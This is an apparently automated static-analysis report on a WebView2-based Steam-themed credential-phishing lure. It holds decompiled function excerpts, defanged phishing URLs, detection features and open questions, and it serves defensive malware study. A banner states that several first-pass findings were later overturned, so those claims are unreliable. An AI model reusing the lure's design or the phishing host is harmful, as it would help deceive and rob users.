← Back to the case report · CORD Reports
Corrected by a later full static re-analysis. This is CORD's first automated pass, published as produced. Four points below were overturned: the program is a credential-relay shell, not a stealer, and reads nothing from disk; the RCDATA 300 resource is Microsoft's signed WebView2Loader.dll, not a second stage; the window.steamm file bridge is confined to the program's own folder; and the "system fingerprint" at 0x1400094c0 is unreferenced junk that changes size each build. WebView2 is also launched with SmartScreen, Safe Browsing and certificate checks off.
report r20261028-1Summary
Static analysis · PE32+ · 2026-10-28

Unattributed stealer

MaliciousRole: dropperCapability: stealerFamily: not attributed

This is a 1 MB x64 PE (mingw-linked, no version info, timestamp 2026-09-22) that acts as a WebView2-based credential-phishing lure and dropper. It carries a 164 KB embedded PE in RCDATA resource 300 and drops it to disk at startup. The application creates a frameless browser-control window styled as a login page, bridges JavaScript and native code through a JSON IPC protocol (B10, E19, E20), and collects a system fingerprint using obfuscated XOR/shift arithmetic over PID, tick count and locale (B6, E7). An HTTP client built on WinInet sends requests to two the original file URLs (I1, I2) with 15/30 s timeouts (B3, E3, E4, E14). The lure gives its operator stolen credentials and a machine fingerprint; the dropped PE's purpose is not recovered (U1).

File
PE32+ · 1.0 MB
nothing unpacked from it
Behaviours
10
10 reachable from the entry point
Code reached
28%
692 of 2508 functions from the entry
Network
2 indicators
Decoded strings
31
1 notable
Detection features
4
build scope
Open questions
7
reads the analysis attempted and stopped
sha256 f27af032b01fc6982ff936086eaeeaa6a517a9b3fad74939ee4e50729c9e3b2c
Read the full technical report → Every behaviour and indicator in detail, with the evidence, decoded strings, code and call graph.

How it runs

The behaviours as a flow, from the entry point: the checks that can end the run, then what it collects, then what it sends and what follows. Boxes follow the order of the analyst's account; a dashed box is code whose path from the entry is not proven. Static analysis: not an observed run.

StartPE entry pointentry pointsingle-instance execution lockB8single-instance executionlockcan end the run hereMainthe collectors below run from hereThen, in an order the analysis did not establishJSON-based IPC between WebView2 and native codeB10JSON-based IPC betweenWebView2 and native codereads and writes files by path parameterB9reads and writes files bypath parametercreates child processB4creates child processcollects system fingerprintB6collects system fingerprinttimer-delayed window revealB7timer-delayed window revealSends, and what followsHTTP networking via WinInetB3HTTP networking via WinInetcreates WebView2 browser control for lure UIB2creates WebView2 browsercontrol for lure UIopens URLs via ShellExecuteB5opens URLs via ShellExecute

Throughout: drops embedded PE from resource (B1).

What it does in the full report →

The PE entry (E17) calls a CRT startup that enforces single-instance execution through a LOCK cmpxchg on a global; a second copy spins on Sleep(1000) until the first exits (B8, E9). WinMain (E1) reads its own module path, builds a drop path and writes the RCDATA 300 payload to disk (B1, E2), then loads the WebView2 runtime and creates a centered, DPI-scaled window with DWM extended frame and dark background 0x1f1b1bff (B2, E5). A 1500 ms timer navigates the WebView2 control to a URL (I1) referenced by the setup function at 0x1400056b0.

A JSON IPC protocol bridges WebView2 and native code: a builder at 0x140002900 constructs responses and a parser at 0x1400075c0 dispatches commands (B10, E19, E20). Through this channel the lure page requests file reads (B9, E15), file writes (B9, E16) and URL launches (B5, E6). The UI thread handler (B4, E8) dispatches these in response to JSON messages from the WebView2 frontend.

The HTTP client at 0x140004000 parses URLs with InternetCrackUrlW, opens connections with InternetConnectW, and reads responses with InternetReadFile (B3, E3, E4, E14). Two the original file URLs were recovered (I1, I2); 9 of 11 other URL candidates and all 5 registry-path candidates reside in the embedded PE at file offsets 0xd70c0-0xff420, belonging to unpacked file 1 not the original file (E21, U2, U6). The system fingerprint function at 0x1400094c0 computes a value from PID, tick count and locale through XOR constants 0xfd6c0c64, 0x9c0fc46e, 0x2f77d26c and a shift loop (B6, E7), producing a host identifier sent alongside requests.

What was not recovered: the embedded PE payload's behaviour (U1), the targets of 12 FLOSS decoded strings not mapped to functions (U5), the WebView2 lure content served at runtime (U3), the credential capture mechanism handled by WebView2 JavaScript (U4), the full data set exfiltrated over HTTP (U2), and the purpose of 5 embedded-PE registry paths (U6).

How much of the code was read functions →

The call graph has 2508 internal functions. Three roots (entry plus 2 TLS callbacks) reach 330 natively; a dispatch-reach pass resolved 270 of 1358 computed call sites, adding 362 functions (692 total). 76 unresolved computed call sites remain in reached code (U7); 1816 functions are unreached.

What it talks to and touches in the full report →

Network values are defanged (hxxp, [.]); restore them before use. A dead drop sits on a public service: match the full URL, never block the domain. Host artefacts are files, paths and registry keys the sample targets or creates.

KindTypeRoleValueEvidence
networkurlhxxps://8909451279[.]f1shh[.]at/clieE14
networkurlhxxps://8909451279[.]f1shh[.]at/clientE14

Notable strings all 31 decoded strings →

Picked from the decoded strings by simple pattern rules. They show what the code refers to, not what it was seen doing.

URL or domainhxxps://8909451279[.]f1shh[.]at/client

Verdict and detection opportunities all anchor details →

Malicious: a WebView2-based credential-phishing lure that drops an embedded PE at startup, collects a system fingerprint and communicates over HTTP. No family attributed; the cluster label pe/unk.steamlure-28f2b618 agrees with the observed lure behaviour but no family-specific markers were recovered (E13).

Strongest anchors: A1 (entry stub, 30 bytes at file offset 0x400, E17) is a realtime candidate because its rel32 operand varies per binary, making the sequence build-specific; present in 8/8 cluster members. A2 (RCDATA resource 300 containing an embedded PE, E2) is realtime-viable and stable across the cluster. A3 (WinInet HTTP request function with InternetCrackUrl/HttpOpenRequest/HttpSendRequest/InternetReadFile call sequence, E3) is a batch anchor. A4 (system fingerprint function with XOR constants 0xfd6c0c64/0x9c0fc46e/0x2f77d26c, E7) is realtime-viable and distinctive.

Features a rule could match on, as proposed by the analysis. None is a rule until CORD Detection has measured it against clean software.

IDWhat to matchScopeScan typeHow stablePossible false matches
A1entry stub 30-byte sequence at file offset 0x400, including the E8 rel32 call to the main functionbuildrealtimestructural_constant; entry stub bytes are compiler-generated and stable across builds with the same toolchain and entry layoutother mingw x64 executables with the same CRT entry stub; low given the rel32 operand varies per binary
A2RCDATA resource 300 containing embedded PE (164704 bytes)buildrealtimebehavioural_template; resource ID and type are build constants; the embedded PE content varies per campaign but the container structure is stableany PE with RCDATA ID 300; narrow with PE header checks on the resource content
A3WinInet HTTP request function at 0x140004000 with InternetCrackUrl+HttpOpenRequest+HttpSendRequest+InternetReadFile call sequencebuildbatchbehavioural_template; the specific API call sequence and function layout are tied to the build; the function is a custom HTTP client, not a library wrapperother WinInet-based HTTP clients with the same API sequence; moderate
A4system fingerprint function at 0x1400094c0 with obfuscated XOR/shift computation over PID, tick count and localebuildrealtimebehavioural_template; the XOR constants (0xfd6c0c64, 0x9c0fc46e, 0x2f77d26c) and shift loop are build-specific and unlikely in goodwarenone expected; the constant combination is distinctive

Open questions in the full report →

  1. Q2
    Why it stopped: payload_not_in_file
  2. Q3
    Why it stopped: The original file has only 2 URLs; remaining URL-to-function mapping deferred to unpacked file 1 analysis
  3. Q2
    Why it stopped: lure content fetched at runtime or in dropped PE, not in the original file
  4. Q2
    Why it stopped: credential capture handled by WebView2 JavaScript sending postMessage to native code; the native handlers (file_reader, file_writer, url_launcher) execute commands but extraction logic is in the lure page served to WebView2
  5. Q2
    Why it stopped: decoded strings not mapped to callers due to masked output
  6. Q3
    Why it stopped: registry candidates are unpacked file 1 (embedded PE) data, not the original file strings; deferred to unpacked file 1 analysis
  7. Q5
    Why it stopped: 76 unresolved computed call sites in reached code; no state/index tables found
Summary generated from report.json by render/cover.py. The lead is the analyst's summary; the section prose is the analyst's narrative with its references linked. Static analysis only: the sample was never executed. Network values are defanged.
Full technical report
CORD Research report r20261028-1

stealer dropper

sha256f27af032b01fc6982ff936086eaeeaa6a517a9b3fad74939ee4e50729c9e3b2c
not blind model claude-opus-4-6 · medium input 22.3M output ~127k time 115 min 27 s schema cord-research.report/1.5.0 source report.json
Originalstealer dropper0.85

Summary

This is a 1 MB x64 PE (mingw-linked, no version info, timestamp 2026-09-22) that acts as a WebView2-based credential-phishing lure and dropper. It carries a 164 KB embedded PE in RCDATA resource 300 and drops it to disk at startup. The application creates a frameless browser-control window styled as a login page, bridges JavaScript and native code through a JSON IPC protocol (B10, E19, E20), and collects a system fingerprint using obfuscated XOR/shift arithmetic over PID, tick count and locale (B6, E7). An HTTP client built on WinInet sends requests to two the original file URLs (I1, I2) with 15/30 s timeouts (B3, E3, E4, E14). The lure gives its operator stolen credentials and a machine fingerprint; the dropped PE's purpose is not recovered (U1).

Behaviour

The PE entry (E17) calls a CRT startup that enforces single-instance execution through a LOCK cmpxchg on a global; a second copy spins on Sleep(1000) until the first exits (B8, E9). WinMain (E1) reads its own module path, builds a drop path and writes the RCDATA 300 payload to disk (B1, E2), then loads the WebView2 runtime and creates a centered, DPI-scaled window with DWM extended frame and dark background 0x1f1b1bff (B2, E5). A 1500 ms timer navigates the WebView2 control to a URL (I1) referenced by the setup function at 0x1400056b0.

A JSON IPC protocol bridges WebView2 and native code: a builder at 0x140002900 constructs responses and a parser at 0x1400075c0 dispatches commands (B10, E19, E20). Through this channel the lure page requests file reads (B9, E15), file writes (B9, E16) and URL launches (B5, E6). The UI thread handler (B4, E8) dispatches these in response to JSON messages from the WebView2 frontend.

The HTTP client at 0x140004000 parses URLs with InternetCrackUrlW, opens connections with InternetConnectW, and reads responses with InternetReadFile (B3, E3, E4, E14). Two the original file URLs were recovered (I1, I2); 9 of 11 other URL candidates and all 5 registry-path candidates reside in the embedded PE at file offsets 0xd70c0-0xff420, belonging to unpacked file 1 not the original file (E21, U2, U6). The system fingerprint function at 0x1400094c0 computes a value from PID, tick count and locale through XOR constants 0xfd6c0c64, 0x9c0fc46e, 0x2f77d26c and a shift loop (B6, E7), producing a host identifier sent alongside requests.

What was not recovered: the embedded PE payload's behaviour (U1), the targets of 12 FLOSS decoded strings not mapped to functions (U5), the WebView2 lure content served at runtime (U3), the credential capture mechanism handled by WebView2 JavaScript (U4), the full data set exfiltrated over HTTP (U2), and the purpose of 5 embedded-PE registry paths (U6).

Reach

The call graph has 2508 internal functions. Three roots (entry plus 2 TLS callbacks) reach 330 natively; a dispatch-reach pass resolved 270 of 1358 computed call sites, adding 362 functions (692 total). 76 unresolved computed call sites remain in reached code (U7); 1816 functions are unreached.

Verdict and anchors

Malicious: a WebView2-based credential-phishing lure that drops an embedded PE at startup, collects a system fingerprint and communicates over HTTP. No family attributed; the cluster label pe/unk.steamlure-28f2b618 agrees with the observed lure behaviour but no family-specific markers were recovered (E13).

Strongest anchors: A1 (entry stub, 30 bytes at file offset 0x400, E17) is a realtime candidate because its rel32 operand varies per binary, making the sequence build-specific; present in 8/8 cluster members. A2 (RCDATA resource 300 containing an embedded PE, E2) is realtime-viable and stable across the cluster. A3 (WinInet HTTP request function with InternetCrackUrl/HttpOpenRequest/HttpSendRequest/InternetReadFile call sequence, E3) is a batch anchor. A4 (system fingerprint function with XOR constants 0xfd6c0c64/0x9c0fc46e/0x2f77d26c, E7) is realtime-viable and distinctive.

Terms used in this report
Original file, unpacked file
The original file is the sample as collected. An unpacked file is one the analysis extracted or decoded from it, numbered in order (in report.json: L0, L1, L2…).
Reachable from the entry point
The static call graph shows a path from where the program starts to this code. It does not mean the code was seen running.
Code present, path not proven
The code is in the file, but the analysis could not prove a route to it, usually because of indirect calls or jump tables.
B, E, A, U, D numbers
Behaviours, evidence items, detection anchors, open questions (unknowns) and derived files (such as decoded strings). Every claim cites the evidence items it rests on.
API hashing
Looking up Windows functions at run time by a hash of their name, so the names never appear in the file.
MBA
Mixed boolean-arithmetic: computing a simple constant through a tangle of AND, OR, XOR and arithmetic.
ATT&CK, MBC
Public catalogues of attacker techniques (MITRE ATT&CK) and malware behaviours (MBC).
IOC
Indicator of compromise: a value, such as a domain or file name, that shows up on an infected host or network.

Behaviours at a glance

Sample and layers

gated nosnapshot taken at 2026-10-01 20:38:11.542859+00
idsizeverdictsha256format
Original1052672f27af032…9c9e3b2cPE32+

Verdict

What the analysis concludes the sample is, how confident it is, and the evidence that conclusion rests on.

Original

stealer dropper

confidence 0.85
classification
malicious
role
dropper
capability
stealer
evidence
E1, E2, E3, E5, E7, E13
why
WebView2-based lure application that drops an embedded PE from resources, creates a browser-control window for credential phishing, includes HTTP networking and system fingerprinting; cluster label pe/unk.steamlure-28f2b618 agrees with observed Steam-themed lure behavior but no family-specific markers recovered

What it does 10

Each behaviour the analysis found, with the techniques it maps to and whether the code is reachable from where the program starts. Open "Show the evidence" to see what each claim rests on, with code previews; full functions are under Code.

B1

drops embedded PE from resource

T1027.009file Originalreachability reachable from the entry point
MBC
none
functions
0x140001400
Show the evidence · 2 items: E1, E2
E1
read from the file·function

WinMain: extracts RCDATA 300, drops embedded PE to disk, creates WebView2 window, enters message loop

WinMain · decompiled C, first 30 lines
/* WARNING: Type propagation algorithm not settling */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 WinMain(HINSTANCE param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  ulonglong uVar1;
  UINT UVar2;
  undefined4 uVar3;
  undefined1 _Src [8];
  code cVar4;
  undefined1 uVar5;
  undefined2 uVar6;
  WPARAM WVar7;
  int iVar8;
  DWORD nNumberOfBytesToWrite;
  DWORD DVar9;
  int iVar10;
  BOOL BVar11;
  HDC hdc;
  size_t sVar12;
  HRSRC hResInfo;
  HGLOBAL hResData;
  longlong lVar13;
  tagMSG *ptVar14;
  undefined **ppuVar15;
  HANDLE hFile;
  HMODULE pHVar16;
  FARPROC pFVar17;
/* … 545 more lines */
Full function, callers and assembly →
E2
read from the file·resource
RCDATA/300/1033

embedded PE resource, 164704 bytes, entropy 6.2, dropped to disk by WinMain

B2

creates WebView2 browser control for lure UI

T1204.001file Originalreachability reachable from the entry point
MBC
none
functions
0x1400014000x1400056b0
Show the evidence · 2 items: E1, E5
E1
read from the file·function

WinMain: extracts RCDATA 300, drops embedded PE to disk, creates WebView2 window, enters message loop

WinMain · decompiled C, first 30 lines
/* WARNING: Type propagation algorithm not settling */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 WinMain(HINSTANCE param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  ulonglong uVar1;
  UINT UVar2;
  undefined4 uVar3;
  undefined1 _Src [8];
  code cVar4;
  undefined1 uVar5;
  undefined2 uVar6;
  WPARAM WVar7;
  int iVar8;
  DWORD nNumberOfBytesToWrite;
  DWORD DVar9;
  int iVar10;
  BOOL BVar11;
  HDC hdc;
  size_t sVar12;
  HRSRC hResInfo;
  HGLOBAL hResData;
  longlong lVar13;
  tagMSG *ptVar14;
  undefined **ppuVar15;
  HANDLE hFile;
  HMODULE pHVar16;
  FARPROC pFVar17;
/* … 545 more lines */
Full function, callers and assembly →
E5
read from the file·function

WebView2 COM initialization: sets background color, configures navigation and docking via COM vtable calls

webview2_setup · decompiled C, first 30 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 webview2_setup(undefined8 param_1,int param_2,longlong *param_3,undefined8 param_4)

{
  longlong *plVar1;
  int iVar2;
  BOOL BVar3;
  undefined8 *puVar4;
  void *_Dst;
  LONG *pLVar5;
  longlong **pplVar6;
  ulonglong _Size;
  wchar_t *_Src;
  undefined8 uVar7;
  longlong lVar8;
  longlong *local_a8;
  longlong *local_a0;
  longlong *local_98;
  undefined8 uStack_90;
  undefined8 local_88;
  undefined8 uStack_80;
  undefined8 local_78;
  undefined8 uStack_70;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 uStack_60;
  undefined4 uStack_5c;
  undefined4 local_58;
/* … 105 more lines */
Full function, callers and assembly →
B3

HTTP networking via WinInet

T1071.001file Originalreachability reachable from the entry point
MBC
C0002.003
functions
0x1400040000x140004580
Show the evidence · 3 items: E3, E4, E14
E3
read from the file·function

HTTP request function: InternetCrackUrl, InternetConnect, HttpOpenRequest, HttpAddRequestHeaders, HttpSendRequest, HttpQueryInfo, InternetReadFile

http_request · decompiled C, first 30 lines
undefined8
http_request(undefined8 *param_1,undefined8 param_2,ulonglong param_3,undefined *param_4)

{
  byte bVar1;
  undefined1 uVar2;
  undefined1 uVar3;
  void *pvVar4;
  undefined8 uVar5;
  longlong lVar6;
  byte bVar7;
  bool bVar8;
  int iVar9;
  uint uVar10;
  DWORD DVar11;
  ulonglong uVar12;
  undefined8 *lParam;
  longlong lVar13;
  longlong lVar14;
  undefined8 *puVar15;
  undefined7 extraout_var;
  undefined *puVar16;
  longlong lVar17;
  undefined1 *puVar18;
  undefined8 uVar19;
  char *pcVar20;
  undefined4 unaff_XMM6_Da;
  undefined4 unaff_XMM6_Db;
  undefined4 unaff_XMM6_Dc;
/* … 273 more lines */
Full function, callers and assembly →
E4
read from the file·function

InternetOpenW with 15s/30s timeouts for network initialization

internet_init · decompiled C, first 30 lines
longlong internet_init(void)

{
  longlong lVar1;
  undefined4 local_1c;
  undefined4 local_18;
  undefined4 local_14;
  
  lVar1 = InternetOpenW(L"Steam/1.0",0,0,0,0);
  if (lVar1 != 0) {
    local_14 = 15000;
    local_18 = 15000;
    local_1c = 30000;
    InternetSetOptionW(lVar1,2,&local_14,4);
    InternetSetOptionW(lVar1,5,&local_18,4);
    InternetSetOptionW(lVar1,6,&local_1c,4);
  }
  return lVar1;
}

Full function, callers and assembly →
E14
read from the file·import table
wininet.dll

10 WinInet imports for HTTP networking

B4

creates child process

T1106file Originalreachability reachable from the entry point
MBC
none
functions
0x140005a90
Show the evidence · 1 item: E8
E8
read from the file·function

CreateThread, ShowWindow, PostMessage, cursor management - UI and threading handler

ui_thread_handler · decompiled C, first 30 lines
/* WARNING: Type propagation algorithm not settling */

undefined8
ui_thread_handler(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  byte *pbVar2;
  ulonglong uVar3;
  LONG LVar4;
  undefined1 *puVar5;
  void *pvVar6;
  wchar_t *_Src;
  int iVar7;
  size_t sVar8;
  short *psVar9;
  ulonglong uVar10;
  LONG *pLVar11;
  longlong *plVar12;
  ulonglong uVar13;
  tagPOINT *ptVar14;
  void *pvVar15;
  undefined8 uVar16;
  ulonglong *puVar17;
  tagPOINT *ptVar18;
  ulonglong *puVar19;
  HANDLE hObject;
  wchar_t *pwVar20;
  tagPOINT *ptVar21;
/* … 1075 more lines */
Full function, callers and assembly →
B5

opens URLs via ShellExecute

T1204.001file Originalreachability reachable from the entry point
MBC
none
functions
0x140003c10
Show the evidence · 1 item: E6
E6
read from the file·function

ShellExecuteW handler: opens URLs from WebView2 navigation events

url_launcher · decompiled C, first 30 lines
void url_launcher(ulonglong param_1,int *param_2,undefined8 param_3,undefined8 param_4)

{
  LPCWSTR pWVar1;
  byte bVar2;
  LPCWSTR lpFile;
  ulonglong uVar3;
  LPCWSTR pWVar4;
  short *psVar5;
  int *piVar6;
  ulonglong uVar7;
  int *piVar8;
  LPCWSTR pWVar9;
  LPCWSTR pWVar10;
  byte local_50;
  uint uStack_4f;
  uint uStack_4b;
  undefined4 local_47;
  undefined1 local_43;
  void *local_40;
  undefined4 local_38;
  ulonglong local_30;
  LPCWSTR local_28;
  byte local_20;
  char cStack_1f;
  undefined7 uStack_1e;
  undefined7 uStack_17;
  char cStack_10;
  undefined4 uStack_f;
/* … 165 more lines */
Full function, callers and assembly →
B6

collects system fingerprint

T1082file Originalreachability reachable from the entry point
MBC
E1082
functions
0x1400094c0
Show the evidence · 1 item: E7
E7
read from the file·function

system fingerprinting: GetLocalTime, GetLocaleInfoA, GetSystemInfo, GetCurrentProcessId, GetTickCount, then obfuscated XOR/shift computation

system_fingerprint · decompiled C, first 30 lines
uint system_fingerprint(void)

{
  uint uVar1;
  uint uVar2;
  uint uVar3;
  DWORD DVar4;
  DWORD DVar5;
  uint uVar6;
  uint uVar7;
  uint uVar8;
  uint uVar9;
  uint uVar10;
  uint uVar11;
  uint uVar12;
  size_t sVar13;
  uint local_98;
  int local_94;
  _SYSTEMTIME local_8c;
  int local_7c;
  _union_552 local_78;
  int local_74;
  char local_48 [64];
  
  GetLocalTime(&local_8c);
  GetLocaleInfoA(0x400,0x59,local_48,0x40);
  sVar13 = strlen(local_48);
  GetSystemInfo((LPSYSTEM_INFO)&local_78.s);
  DVar4 = GetCurrentProcessId();
/* … 124 more lines */
Full function, callers and assembly →
B7

timer-delayed window reveal

file Originalreachability reachable from the entry point
MBC
none
functions
0x1400094800x140004960
Show the evidence · 2 items: E11, E12
E11
read from the file·function

SetTimer(9999, 1500ms) callback setup for delayed window reveal

timer_setup · decompiled C, first 30 lines
undefined8 timer_setup(void)

{
  if (DAT_1400c9478 == '\0') {
    DAT_1400c9478 = '\x01';
    SetTimer(DAT_1400c9450,9999,0x5dc,timer_reveal);
  }
  return 0;
}

Full function, callers and assembly →
E12
read from the file·function

timer callback: KillTimer, ShowWindow, SetForegroundWindow - reveals the lure after delay

timer_reveal · decompiled C, first 30 lines
void timer_reveal(undefined8 param_1,undefined8 param_2,UINT_PTR param_3)

{
  KillTimer(DAT_1400c9450,param_3);
  if (DAT_1400c9458 != (longlong *)0x0) {
    (**(code **)(*DAT_1400c9458 + 0x20))(DAT_1400c9458,1);
  }
  ShowWindow(DAT_1400c9450,5);
                    /* WARNING: Could not recover jumptable at 0x0001400049a8. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  SetForegroundWindow(DAT_1400c9450);
  return;
}

Full function, callers and assembly →
B8

single-instance execution lock

file Originalreachability reachable from the entry point
MBC
none
functions
0x140001020
Show the evidence · 1 item: E9
E9
read from the file·function

CRT startup with LOCK-based single-instance mutex, spins on Sleep(1000) if another instance holds the lock

crt_startup · decompiled C, first 30 lines
ulonglong crt_startup(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  ushort uVar1;
  uint uVar2;
  undefined4 uVar3;
  undefined *puVar4;
  undefined *puVar5;
  void *pvVar6;
  int iVar7;
  undefined8 *puVar8;
  ulonglong uVar9;
  LPTOP_LEVEL_EXCEPTION_FILTER pPVar10;
  undefined4 *puVar11;
  undefined8 uVar12;
  void *pvVar13;
  size_t sVar14;
  void *_Dst;
  undefined *puVar15;
  undefined8 *in_RDX;
  undefined8 *in_R8;
  ulonglong in_R9;
  longlong lVar16;
  longlong lVar17;
  bool bVar18;
  undefined8 extraout_XMM0_Qa;
  undefined4 local_44;
  
  puVar4 = PTR_DAT_14009b048;
/* … 145 more lines */
Full function, callers and assembly →
B9

reads and writes files by path parameter

T1005file Originalreachability reachable from the entry point
MBC
none
functions
0x1400033d00x1400038b0
Show the evidence · 2 items: E15, E16
E15
read from the file·function

file reader: extracts path parameter, opens with CreateFileW, reads with ReadFile

file_reader · decompiled C, first 30 lines
void file_reader(ulonglong param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  longlong lVar2;
  undefined8 uVar3;
  BOOL BVar4;
  ulonglong uVar5;
  HANDLE hFile;
  undefined8 *puVar6;
  int *piVar7;
  void *pvVar8;
  LPCWSTR lpFileName;
  int *in_RDX;
  int *piVar9;
  char *pcVar10;
  undefined8 in_R9;
  LPDWORD pDVar11;
  undefined4 unaff_XMM6_Da;
  undefined4 unaff_XMM6_Db;
  undefined4 unaff_XMM6_Dc;
  undefined4 unaff_XMM6_Dd;
  undefined1 auStackX_10 [8];
  undefined8 uStackX_18;
  undefined8 uStackX_20;
  undefined8 uStack_38;
  
  uStack_38 = 0x1400033e3;
  uVar5 = FUN_140021ad4();
/* … 171 more lines */
Full function, callers and assembly →
E16
read from the file·function

file writer: extracts path parameter, creates with CreateFileW, writes with WriteFile

file_writer · decompiled C, first 30 lines
void file_writer(ulonglong param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  ulonglong uVar2;
  HANDLE hFile;
  int *piVar3;
  longlong lVar4;
  LPCWSTR lpFileName;
  int *in_RDX;
  int *piVar5;
  LPCVOID lpBuffer;
  DWORD nNumberOfBytesToWrite;
  ulonglong in_R9;
  byte local_68;
  uint uStack_67;
  undefined1 local_63;
  void *local_58;
  byte local_50;
  undefined1 uStack_4f;
  undefined7 uStack_4e;
  uint local_47;
  undefined1 local_43;
  void *local_40;
  undefined8 local_38;
  undefined8 uStack_30;
  LPCWSTR local_28;
  DWORD local_1c;
  
/* … 120 more lines */
Full function, callers and assembly →
B10

JSON-based IPC between WebView2 and native code

T1559file Originalreachability reachable from the entry point
MBC
none
functions
0x1400029000x1400075c00x140005a90
Show the evidence · 2 items: E19, E20
E19
read from the file·function

JSON response builder with id/ok/result fields for WebView2-native IPC

json_response_builder · decompiled C, first 30 lines
void json_response_builder(ulonglong param_1,char param_2,byte *param_3,byte *param_4)

{
  longlong *plVar1;
  ulonglong *puVar2;
  char *pcVar3;
  void *pvVar4;
  char *pcVar5;
  ulonglong uVar6;
  byte *pbVar7;
  undefined8 local_a8;
  ulonglong uStack_a0;
  void *local_98;
  ulonglong local_88;
  ulonglong uStack_80;
  void *local_78;
  byte local_70 [16];
  void *local_60;
  ulonglong local_58;
  ulonglong uStack_50;
  void *local_48;
  
  if (DAT_1400c9460 == (longlong *)0x0) {
    return;
  }
  pbVar7 = param_4;
  FUN_140013d60((longlong *)local_70,param_1,(char *)param_3,param_4);
  pcVar5 = "{\"id\":";
  puVar2 = (ulonglong *)FUN_14000eec0((ulonglong *)local_70,0,(byte *)"{\"id\":");
/* … 102 more lines */
Full function, callers and assembly →
E20
read from the file·function

JSON parser for incoming WebView2 messages, recursive descent

json_parser · decompiled C, first 30 lines
ulonglong json_parser(longlong *param_1,undefined4 *param_2,char **param_3,ulonglong param_4)

{
  byte bVar1;
  double dVar2;
  bool bVar3;
  void *pvVar4;
  int iVar5;
  undefined8 uVar6;
  byte *pbVar7;
  byte *pbVar8;
  ulonglong uVar9;
  ulonglong *puVar10;
  undefined7 uVar13;
  byte *pbVar11;
  byte *pbVar12;
  void *pvVar14;
  char *local_d0;
  ulonglong uStack_c8;
  ulonglong uStack_c0;
  ulonglong uStack_b8;
  void *pvStack_b0;
  void *local_a8;
  ulonglong uStack_a0;
  ulonglong local_98;
  void *pvStack_90;
  void *local_88;
  ulonglong uStack_80;
  ulonglong local_78;
/* … 338 more lines */
Full function, callers and assembly →

Indicators (IOCs) 2

Values that would show up on an infected host or in network traffic, such as domains, URLs and file names, with where each was found.

2 of 2 IOC value(s) resolved from the report and the files the analysis wrote. Network values are defanged (hxxp, [.]); restore them before use.

IDTypeRoleValuePortLayerMethodEvidenceNote
I1urlhxxps://8909451279[.]f1shh[.]at/clieL0plaintextE14L0 URL in .rdata at file offset 0x9a3c0; referenced by webview2_setup 0x1400056b0
I2urlhxxps://8909451279[.]f1shh[.]at/clientL0plaintextE14L0 URL referenced by webview2_setup 0x1400056b0 via fn_profile
IOC list · 2 value(s), defanged, one per line
hxxps://8909451279[.]f1shh[.]at/clie
hxxps://8909451279[.]f1shh[.]at/client

Decoded strings 31

Strings and config fields the analysis decoded, read from the files its decode steps wrote (derived artifacts), then the decoded, stack and tight strings FLOSS found in the prepass. At most 300 per layer are shown; long strings are cut at 300 characters with their length; control characters are escaped and URL schemes defanged.

L0 · 31 string(s)

out/L0/floss.json · FLOSS decoded strings · 8 entries, from FLOSS decoded strings (prepass) · found automatically by FLOSS in the prepass, not checked by the analysis

8 shown
#ValueEncodingFunctionMethod
1++CGNLC`ASCII0x140066fe0floss decoded
21096175631ASCII0x140015850floss decoded
31844674407ASCII0x140015850floss decoded
44294967042ASCII0x140015850floss decoded
53216243813ASCII0x140015850floss decoded
63216243517ASCII0x140015850floss decoded
71078723779ASCII0x140015850floss decoded
84294967292ASCII0x140015850floss decoded

out/L0/floss.json · FLOSS stack strings · 22 entries, from FLOSS stack strings (prepass) · found automatically by FLOSS in the prepass, not checked by the analysis

22 shown
#ValueEncodingFunctionMethod
1edgeASCII0x1400030e0floss stack
2bad pathASCII0x1400038b0floss stack
3textASCII0x1400038b0floss stack
4cannot writeASCII0x1400038b0floss stack
5trueASCII0x1400038b0floss stack
6url requiredASCII0x140003c10floss stack
7(only http(s) allowedASCII0x140003c10floss stack
8hxxps://8909451279[.]f1shh[.]at/clientUTF-16LE0x1400056b0floss stack
9methodASCII0x140005a90floss stack
10paramsASCII0x140005a90floss stack
11stoiASCII0x140013020floss stack
12stolASCII0x1400130d0floss stack
13stoulASCII0x140013180floss stack
14stollASCII0x140013230floss stack
15stoullASCII0x1400132e0floss stack
16stofASCII0x140013390floss stack
17stodASCII0x140013440floss stack
18stoldASCII0x1400134f0floss stack
191096175631ASCII0x1400140b0floss stack
20++CGNLCASCII0x140020460floss stack
21%H:%M:%SASCII0x140044c80floss stack
220123456789ASCII0x140049760floss stack

out/L0/floss.json · FLOSS tight strings · 1 entries, from FLOSS tight strings (prepass) · found automatically by FLOSS in the prepass, not checked by the analysis

1 shown
#ValueEncodingFunctionMethod
14278124285ASCII0x14008d5c0floss tight

Process map (static) 2

Where the code can create, replace, detach or signal processes, read from the call graph without running the sample: each site with the call path from the entry point. Branch conditions are not evaluated, so this is what the code can start, not what one run did; sites the graph does not reach from the entry are listed, never hidden.

L0

PORTABLE EXECUTABLE (PE) x64: 2 sites (2 spawns a process), 1 reached from the entry.

0x140001000 (PE entry point, calls crt_startup)
  └ 0x140001020 (CRT startup, creates mutex for single-instance lock, calls WinMain)
    └ 0x140021a30
      └ 0x140001400 (Drops embedded PE from RCDATA 300, registers window class, creates WebView2 environment)
        └ 0x1400055d0
          └ 0x1400056b0 (Creates WebView2 controller and configures COM environment, references L0 URLs)
            └ 0x140005a90 (Handles WebView2 postMessage events: parses incoming JSON, dispatches to native handlers, creates child processes)
              └ 0x140003c10 (Opens URLs via ShellExecuteW, builds JSON response with result)   [ShellExecuteW]
CallWhat it doesIn functionSitePath from the entryDaemon shape
ShellExecuteWspawns a process0x140003c10 (Opens URLs via ShellExecuteW, builds JSON response with result)140003f180x140001000 → 0x140001020 → 0x140021a30 → 0x140001400 → 0x1400055d0 → 0x1400056b0 → 0x140005a90 → 0x140003c10
